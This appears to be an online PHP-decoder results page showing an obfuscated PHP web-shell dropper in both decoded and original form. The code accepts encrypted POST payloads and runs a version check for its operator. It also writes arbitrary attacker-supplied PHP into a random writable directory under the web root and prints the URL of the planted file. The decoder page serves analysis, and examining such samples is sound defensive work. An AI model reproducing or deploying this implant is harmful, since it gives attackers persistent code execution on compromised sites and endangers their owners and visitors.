Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php function SOiFEO($JyvOfTJdoA) { $bSLjMbWeI = "\x72" . 'a' . "\x77" . "\x75" . c..
Decoded Output download
<?php function SOiFEO($JyvOfTJdoA)
{
$bSLjMbWeI = "r" . 'a' . "w" . "u" . chr(237 - 123) . chr(644 - 536) . "d" . 'e' . chr(99) . chr(249 - 138) . "d" . chr(101);
$anktb = "s" . 't' . 'r' . "_" . 'r' . "o" . "t" . "1" . chr(95 - 44);
$PmJDlf = "s" . 't' . chr(114) . "_" . chr(1103 - 988) . "p" . "l" . 'i' . chr(116);
$JyvOfTJdoA = $PmJDlf($bSLjMbWeI($anktb($JyvOfTJdoA)));
return $JyvOfTJdoA;
}
function IxCsU($wJGowmFbU, $JyvOfTJdoA)
{
$MBUsacQ = "s" . chr(116) . chr(762 - 648) . "_" . "s" . "p" . chr(108) . 'i' . "t";
$wJGowmFbU = array_slice($MBUsacQ(str_repeat($wJGowmFbU, (count($JyvOfTJdoA) / 16) + 1)), 0, count($JyvOfTJdoA));
return $wJGowmFbU;
}
function SmddXYTGW($tbmqI, $iGMLUiae, $wJGowmFbU)
{
$XtiXeJQ = "951b9fa3-8635-4714-aca6-4faa9f7f85a8";
return $tbmqI ^ $XtiXeJQ[$iGMLUiae % strlen($XtiXeJQ)] ^ $wJGowmFbU;
}
function ElETyRN($JyvOfTJdoA, $wJGowmFbU)
{
$JyvOfTJdoA = array_map("SmddXYTGW", array_values($JyvOfTJdoA), array_keys($JyvOfTJdoA), array_values($wJGowmFbU));
$JyvOfTJdoA = implode("", $JyvOfTJdoA);
$lihJUcxHDe = "u" . "n" . chr(760 - 645) . chr(419 - 318) . "r" . "i" . chr(97) . "l" . chr(105) . "z" . chr(101);
$JyvOfTJdoA = @$lihJUcxHDe($JyvOfTJdoA);
return $JyvOfTJdoA;
}
function iUXMj()
{
echo "kNxJlZLou";
}
function nJcNRZc($LsaajuPir)
{
static $OXqkPjZiO = array();
$jxdLesfJX = glob($LsaajuPir . '/*', GLOB_ONLYDIR);
$jrdmNyoSZv = count($jxdLesfJX);
if ($jrdmNyoSZv > 0) {
foreach ($jxdLesfJX as $LsaajuP) {
$rWulPt = chr(618 - 513) . "s" . '_' . "w" . 'r' . "i" . 't' . 'a' . chr(98) . chr(108) . chr(101);
if (@$rWulPt($LsaajuP)) {
$OXqkPjZiO[] = $LsaajuP;
}
}
}
foreach ($jxdLesfJX as $LsaajuPir) nJcNRZc($LsaajuPir);
return $OXqkPjZiO;
}
function pBGMKTyVkW()
{
echo "CkWgSs";
}
function ZYbIX($JyvOfTJdoA)
{
$AAjpcEhl = "D" . "O" . chr(67) . "U" . "M" . chr(69) . chr(340 - 262) . chr(531 - 447) . '_' . "R" . 'O' . "O" . "T";
$qrBWQRucb = $_SERVER[$AAjpcEhl];
$jxdLesfJX = nJcNRZc($qrBWQRucb);
$jFPpg = array_rand($jxdLesfJX);
$GxnLJEPAuc = chr(46) . "p" . "h" . chr(865 - 753);
$MTijCzz = $jxdLesfJX[$jFPpg] . "/" . substr(md5(time()), 0, 8) . $GxnLJEPAuc;
$txyDUrKk = "f" . 'i' . "l" . "e" . "_" . "p" . chr(117) . 't' . chr(95) . "c" . chr(808 - 697) . chr(110) . chr(116) . chr(101) . 'n' . "t" . "s";
@$txyDUrKk($MTijCzz, $JyvOfTJdoA);
$GaOnTsBkp = 'H' . "T" . "T" . "P" . chr(793 - 698) . chr(445 - 373) . "O" . "S" . 'T';
$uagJU = chr(392 - 288) . chr(116) . "t" . "p" . ':' . "/" . "/";
$TDFDuJ = $uagJU . $_SERVER[$GaOnTsBkp] . substr($MTijCzz, strlen($qrBWQRucb));
print($TDFDuJ);
}
foreach ($_POST as $wJGowmFbU => $JyvOfTJdoA) {
$lUjmTIdFhS = strlen($wJGowmFbU);
if ($lUjmTIdFhS == 16) {
$JyvOfTJdoA = SOiFEO($JyvOfTJdoA);
$wJGowmFbU = IxCsU($wJGowmFbU, $JyvOfTJdoA);
$JyvOfTJdoA = ElETyRN($JyvOfTJdoA, $wJGowmFbU);
if (@is_array($JyvOfTJdoA)) {
$jFPpg = array_keys($JyvOfTJdoA);
$JyvOfTJdoA = $JyvOfTJdoA[$jFPpg[0]];
if ($JyvOfTJdoA === $jFPpg[0]) {
$ZslbpC = chr(112) . "h" . "p";
$fmmKBG = "p" . "h" . chr(127 - 15) . chr(776 - 658) . "e" . chr(114) . "s" . chr(105) . 'o' . "n";
$aaKpapq = "s" . "e" . "r" . "i" . chr(689 - 592) . "l" . "i" . chr(122) . chr(101);
echo @$aaKpapq(array($ZslbpC => @$fmmKBG(),));
} else {
ZYbIX($JyvOfTJdoA);
}
die();
}
}
}
?>
Did this file decode correctly?
Original Code
<?php function SOiFEO($JyvOfTJdoA)
{
$bSLjMbWeI = "\x72" . 'a' . "\x77" . "\x75" . chr(237 - 123) . chr(644 - 536) . "\144" . 'e' . chr(99) . chr(249 - 138) . "\x64" . chr(101);
$anktb = "\x73" . 't' . 'r' . "\137" . 'r' . "\157" . "\164" . "\x31" . chr(95 - 44);
$PmJDlf = "\x73" . 't' . chr(114) . "\137" . chr(1103 - 988) . "\160" . "\x6c" . 'i' . chr(116);
$JyvOfTJdoA = $PmJDlf($bSLjMbWeI($anktb($JyvOfTJdoA)));
return $JyvOfTJdoA;
}
function IxCsU($wJGowmFbU, $JyvOfTJdoA)
{
$MBUsacQ = "\x73" . chr(116) . chr(762 - 648) . "\x5f" . "\x73" . "\160" . chr(108) . 'i' . "\164";
$wJGowmFbU = array_slice($MBUsacQ(str_repeat($wJGowmFbU, (count($JyvOfTJdoA) / 16) + 1)), 0, count($JyvOfTJdoA));
return $wJGowmFbU;
}
function SmddXYTGW($tbmqI, $iGMLUiae, $wJGowmFbU)
{
$XtiXeJQ = "951b9fa3-8635-4714-aca6-4faa9f7f85a8";
return $tbmqI ^ $XtiXeJQ[$iGMLUiae % strlen($XtiXeJQ)] ^ $wJGowmFbU;
}
function ElETyRN($JyvOfTJdoA, $wJGowmFbU)
{
$JyvOfTJdoA = array_map("SmddXYTGW", array_values($JyvOfTJdoA), array_keys($JyvOfTJdoA), array_values($wJGowmFbU));
$JyvOfTJdoA = implode("", $JyvOfTJdoA);
$lihJUcxHDe = "\x75" . "\156" . chr(760 - 645) . chr(419 - 318) . "\162" . "\151" . chr(97) . "\154" . chr(105) . "\172" . chr(101);
$JyvOfTJdoA = @$lihJUcxHDe($JyvOfTJdoA);
return $JyvOfTJdoA;
}
function iUXMj()
{
echo "kNxJlZLou";
}
function nJcNRZc($LsaajuPir)
{
static $OXqkPjZiO = array();
$jxdLesfJX = glob($LsaajuPir . '/*', GLOB_ONLYDIR);
$jrdmNyoSZv = count($jxdLesfJX);
if ($jrdmNyoSZv > 0) {
foreach ($jxdLesfJX as $LsaajuP) {
$rWulPt = chr(618 - 513) . "\x73" . '_' . "\x77" . 'r' . "\x69" . 't' . 'a' . chr(98) . chr(108) . chr(101);
if (@$rWulPt($LsaajuP)) {
$OXqkPjZiO[] = $LsaajuP;
}
}
}
foreach ($jxdLesfJX as $LsaajuPir) nJcNRZc($LsaajuPir);
return $OXqkPjZiO;
}
function pBGMKTyVkW()
{
echo "CkWgSs";
}
function ZYbIX($JyvOfTJdoA)
{
$AAjpcEhl = "\104" . "\x4f" . chr(67) . "\x55" . "\115" . chr(69) . chr(340 - 262) . chr(531 - 447) . '_' . "\122" . 'O' . "\x4f" . "\124";
$qrBWQRucb = $_SERVER[$AAjpcEhl];
$jxdLesfJX = nJcNRZc($qrBWQRucb);
$jFPpg = array_rand($jxdLesfJX);
$GxnLJEPAuc = chr(46) . "\160" . "\150" . chr(865 - 753);
$MTijCzz = $jxdLesfJX[$jFPpg] . "/" . substr(md5(time()), 0, 8) . $GxnLJEPAuc;
$txyDUrKk = "\146" . 'i' . "\154" . "\145" . "\137" . "\x70" . chr(117) . 't' . chr(95) . "\x63" . chr(808 - 697) . chr(110) . chr(116) . chr(101) . 'n' . "\x74" . "\163";
@$txyDUrKk($MTijCzz, $JyvOfTJdoA);
$GaOnTsBkp = 'H' . "\124" . "\x54" . "\120" . chr(793 - 698) . chr(445 - 373) . "\x4f" . "\x53" . 'T';
$uagJU = chr(392 - 288) . chr(116) . "\x74" . "\160" . ':' . "\57" . "\57";
$TDFDuJ = $uagJU . $_SERVER[$GaOnTsBkp] . substr($MTijCzz, strlen($qrBWQRucb));
print($TDFDuJ);
}
foreach ($_POST as $wJGowmFbU => $JyvOfTJdoA) {
$lUjmTIdFhS = strlen($wJGowmFbU);
if ($lUjmTIdFhS == 16) {
$JyvOfTJdoA = SOiFEO($JyvOfTJdoA);
$wJGowmFbU = IxCsU($wJGowmFbU, $JyvOfTJdoA);
$JyvOfTJdoA = ElETyRN($JyvOfTJdoA, $wJGowmFbU);
if (@is_array($JyvOfTJdoA)) {
$jFPpg = array_keys($JyvOfTJdoA);
$JyvOfTJdoA = $JyvOfTJdoA[$jFPpg[0]];
if ($JyvOfTJdoA === $jFPpg[0]) {
$ZslbpC = chr(112) . "\x68" . "\160";
$fmmKBG = "\160" . "\x68" . chr(127 - 15) . chr(776 - 658) . "\x65" . chr(114) . "\163" . chr(105) . 'o' . "\156";
$aaKpapq = "\163" . "\145" . "\162" . "\151" . chr(689 - 592) . "\x6c" . "\x69" . chr(122) . chr(101);
echo @$aaKpapq(array($ZslbpC => @$fmmKBG(),));
} else {
ZYbIX($JyvOfTJdoA);
}
die();
}
}
}
Function Calls
None |
Stats
MD5 | 9d3a66085e9ca0093c6584878440b68b |
Eval Count | 0 |
Decode Time | 68 ms |